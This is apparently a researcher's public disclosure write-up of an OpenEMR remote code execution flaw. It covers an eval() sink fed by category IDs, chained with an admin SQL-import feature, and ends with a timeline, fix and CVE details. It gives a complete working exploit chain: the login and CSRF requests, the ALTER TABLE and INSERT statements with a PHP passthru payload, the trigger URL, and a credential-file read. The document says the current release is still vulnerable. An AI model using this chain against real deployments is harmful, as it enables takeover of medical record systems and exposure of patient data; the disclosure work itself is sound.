TL;DR — The OpenEMR document category tree uses PHP eval() to construct nested arrays from database rows. The id column of the categories table is normally an INT(11), which prevents string injection — but the SQL import primitive from Part 3 allows an admin to alter the column type to VARCHAR(255) and insert a PHP payload. When any page loads the document category tree, eval() executes the payload as the Apache web server user. Confirmed: uid=1000(apache) on Alpine Linux 3.22.3.
When I found the SQL import primitive in Part 3, my first instinct was to ask: what else in this codebase trusts data that comes from the database without escaping it? In most applications, the database is treated as a trusted source. Data goes in through validated application paths and comes back out as data, not as code. The trust model breaks down whenever a code path treats database-retrieved strings as something to be executed rather than displayed.
I went looking for PHP eval() calls that sourced their input from database queries.
I found one in /library/classes/Tree.class.php at line 141. The comment above it read:
// TODO: refactor this - the eval here is a code smell
eval($ar_string);
The developers knew. They had flagged it as a code smell. They had written a TODO comment. And it had sat there, unfixed, in the codebase.
Let me explain what $ar_string contains.
OpenEMR's document management system organizes documents into categories using a Modified Preorder Tree Traversal (MPTT) structure — a classic technique for storing hierarchical data in a relational database. The categories table has lft and rght columns that encode the position of each node in the tree.
The Tree class loads the entire tree from the database in one query, then reconstructs the nested array structure in PHP. The reconstruction happens through eval(). The loading code, starting around line 119 in Tree.class.php, builds a PHP code string from the database rows:
foreach ($rows as $row) {
$ar_string .= '$ar["' . $row['pid'] . '"]["' . $row['id'] . '"] = '
. '"' . addslashes($row['value']) . '"' . ";\n";
}
eval($ar_string);
The pid column is the parent ID. The id column is the row's own ID. The value column stores the category name.
For a normal row with id=5, pid=1, value=Invoices, the eval'd string becomes:
$ar["1"]["5"] = "Invoices";
Perfectly safe — id is an integer. Integers cannot contain quotes, semicolons, or any PHP syntax that would break out of the string context.
Unless the integer is not an integer anymore.
id in the categories table is defined as INT(11) NOT NULL. MySQL enforces this: you cannot insert a string into an INT column. The column type is the only thing preventing a malicious string from reaching eval().
This is not a defense-in-depth design. It is a single point of failure.
And I had already found — in Part 3 — a way to execute arbitrary SQL against the database.
The attack chain takes shape:
backup.php to upload a SQL file containing ALTER TABLE categories MODIFY COLUMN id VARCHAR(255)id fieldCategoryTree objecteval() executes the payloadThe key is constructing a payload that produces syntactically valid PHP when interpolated into the $ar_string template. The template structure is:
$ar["<pid>"]["<id>"] = "<value>";
If our id value is 99"] = 1; passthru("id"); $ar["1, then the eval'd string for that row becomes:
$ar["1"]["99"] = 1; passthru("id"); $ar["1"] = "poc_rce";
Valid PHP. passthru("id") executes the id command and writes the output directly to PHP's output buffer — which means it appears at the top of the HTTP response before any HTML rendering begins.
For this row to appear in the eval() call at all, it needs to be within the MPTT bounds of the tree being loaded. CategoryTree is instantiated with a root node ID of 1, and it loads all rows within the left/right bounds of that root. The default root has lft=0, rght=67. I needed my injected row to have lft and rght values within that range.
The complete SQL to set this up:
-- Step 1: Allow string values in the id column
ALTER TABLE categories MODIFY COLUMN id VARCHAR(255);
-- Step 2: Expand root's right bound to make room for a new child
UPDATE categories SET rght = rght + 2 WHERE id = '1';
-- Step 3: Insert the malicious node
INSERT INTO categories (id, name, value, parent, lft, rght, aco_spec, codes)
VALUES (
'99"] = 1; passthru("id; hostname"); $ar["1',
'poc_rce',
'',
'1',
67,
68,
'patients|docs',
''
);
Any page that loads the document category tree triggers the eval. The most direct path is:
GET /controller.php?document_category&list
This instantiates CategoryTree(1), which calls load_tree(), which calls Tree::__construct(), which runs the SQL query, builds $ar_string, and calls eval().
I sent the request. The response came back with the command output prepended before the HTML:
uid=1000(apache) gid=101(apache) groups=82(www-data),101(apache)
362377de5b42
The hostname 362377de5b42 is the Docker container ID. The system is Alpine Linux 3.22.3. The Apache web server process runs as uid=1000(apache).
With arbitrary PHP execution, I verified several additional capabilities without pushing into territory that was beyond the PoC scope:
File write to /tmp:
file_put_contents("/tmp/poc_rce002.txt", shell_exec("id; hostname; cat /etc/os-release | head -3"))
Confirmed via a follow-up SQL injection that loaded the file back via LOAD DATA INFILE — a neat trick that demonstrates both the write capability and the bidirectional data flow between PHP execution and SQL access.
Reading application configuration:
From /var/www/localhost/htdocs/openemr/sites/default/sqlconf.php, which contains the database credentials (DB_USER=openemr, DB_PASS, DB_HOST=172.20.0.3). These credentials provide direct database access from any system that can reach the MySQL host.
Kernel information:
Linux 362377de5b42 6.17.0-20-generic #20~22.04.1-Ubuntu SMP x86_64 GNU/Linux
Alpine Linux as the container OS, Ubuntu as the host kernel. Standard Docker deployment.
I want to dwell on this for a moment, because it is an unusual finding.
The eval($ar_string) call in Tree.class.php:141 has a developer-written comment identifying it as a problem. The code has been in the codebase long enough that someone, at some point, recognized it was wrong. They wrote // TODO: refactor this - the eval here is a code smell. And it stayed.
I went looking for how old this code is. The Tree class is deeply embedded in OpenEMR's legacy architecture. It predates the modern Symfony/Laminas framework that OpenEMR has been migrating toward. Refactoring it requires understanding the entire CategoryTree/DocumentCategory subsystem, which is non-trivial.
The irony is that the data type constraint on the id column — INT(11) — was probably never designed as a security control. It was just the natural schema for an integer primary key. The actual defense was an accident of design. And it is an accident that a single ALTER TABLE statement can undo.
The fix for eval() is not to harden the inputs. It is to eliminate the eval(). The Tree class builds a nested PHP array from database rows — there is no reason this requires code evaluation. A simple recursive function with $ar[$row['pid']][$row['id']] = $row['value'] does the same thing without executing anything.
For completeness, here is the full chain from admin authentication to OS command execution:
1. Authenticate:
POST /interface/main/main_screen.php?auth=login&site=default
authUser=admin&clearPass=pass&languageChoice=1&new_login_session_management=1
2. Get CSRF token:
GET /interface/main/backup.php
→ extract csrf_token_form hidden field value
3. ALTER the categories table:
POST /interface/main/backup.php
csrf_token_form=<token>&form_step=202
file: ALTER TABLE categories MODIFY COLUMN id VARCHAR(255);
4. Insert the malicious category:
POST /interface/main/backup.php
csrf_token_form=<token>&form_step=202
file: UPDATE categories SET rght = rght + 2 WHERE id = '1';
INSERT INTO categories (id, name, value, parent, lft, rght, aco_spec, codes)
VALUES ('99"] = 1; passthru("id; hostname"); $ar["1', 'poc_rce', '', '1', 67, 68, 'patients|docs', '');
5. Trigger eval():
GET /controller.php?document_category&list
→ response begins with OS command output before HTML
6. Cleanup:
POST /interface/main/backup.php (form_step=202):
DELETE FROM categories WHERE name = 'poc_rce';
ALTER TABLE categories MODIFY COLUMN id INT(11) NOT NULL;
UPDATE categories SET rght = 67 WHERE id = 1;
The severity uplift from chaining the two findings is real: the backup-import SQL primitive (Part 3) alone is "admin with database write access can steal credentials," while the full chain — that primitive plus this eval() injection — is "admin with database write access has operating system access."
These have different blast radii. Database access is bounded by the application schema. OS access is bounded by what the web server user can reach — which, in a typical deployment, includes:
In the test environment, the web server user could not write to the web root (Apache's document directory lacked world-write permissions), and secure_file_priv blocked INTO OUTFILE from SQL. These configuration choices prevented the easiest escalation paths. But the code execution capability itself was confirmed, and the hardening of the environment is not a property of the application — it is a property of this particular deployment.
I reported this issue to the OpenEMR maintainers on 2026-04-13 through GitHub’s private advisory process (GHSA-5c9m-x3fp-hxpm). It was closed the same day as a duplicate of an issue the maintainers said they were already working on, with no remediation timeline provided. CVE-2026-39932 was assigned by VulnCheck (CNA), independent of the vendor advisory (which carries no CVE). I am publishing now that the coordinated-disclosure window has elapsed.
The eval() sink this finding relies on was ultimately removed upstream in commit 6cd73419 (“chore(hardening): Remove all remaining first-party use of eval”, 2026-07-17) — more than three months after the report — replacing the constructed-string eval() in Tree.class.php with a plain recursive array build. That fix is on master (8.3.0-dev) but landed nine days after the v8_2_0 release was tagged (2026-07-08), so OpenEMR 8.2.0, the current release, still ships the vulnerable eval($ar_string) and remains exploitable via the SQL-import chain (CVE-2026-39931). Confirmed by source review on 2026-08-02.
| Date | Event |
|---|---|
| 2026-04-12 | eval() sink identified in Tree.class.php:141 via source review |
| 2026-04-12 | ALTER TABLE + INSERT chain constructed and tested |
| 2026-04-12 | OS command execution confirmed: uid=1000(apache) on Alpine Linux 3.22.3 |
| 2026-04-12 | File write and DB credential access verified |
| 2026-04-12 | Vulnerability documented (Critical, CVSS 9.1), chained with the backup-import SQL primitive (CVE-2026-39931) |
| 2026-04-12 | Remediation recommendations documented for coordinated disclosure |
| 2026-04-13 | Advisory reported to the OpenEMR maintainers; CVE-2026-39932 assigned by VulnCheck (CNA) |
| 2026-04-13 | Advisory closed by the maintainers as a duplicate of an issue already under investigation |
| 2026-07-17 | eval() sink removed upstream on master (commit 6cd73419); not included in the 8.2.0 release |
| 2026-08-02 | Public disclosure — this write-up published |
OpenEMR is an open-source project available at https://github.com/openemr/openemr. These findings were demonstrated on OpenEMR 8.0.0.3 and confirmed still exploitable against the current release (8.2.0). All testing was performed as independent security research against a dedicated, self-hosted test instance. No production systems or real patient data were accessed or affected.
This is Part 4 of a five-part series on vulnerabilities in OpenEMR 8.0.0.3. Part 1 covered the unauthenticated OAuth2 registration chain. Part 2 covered pre-auth information disclosure and the password grant. Part 3 covered the SQL import primitive that enables this chain. Part 5 covers stored XSS in the patient portal and a missing HttpOnly flag that escalates it to session hijacking.
Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.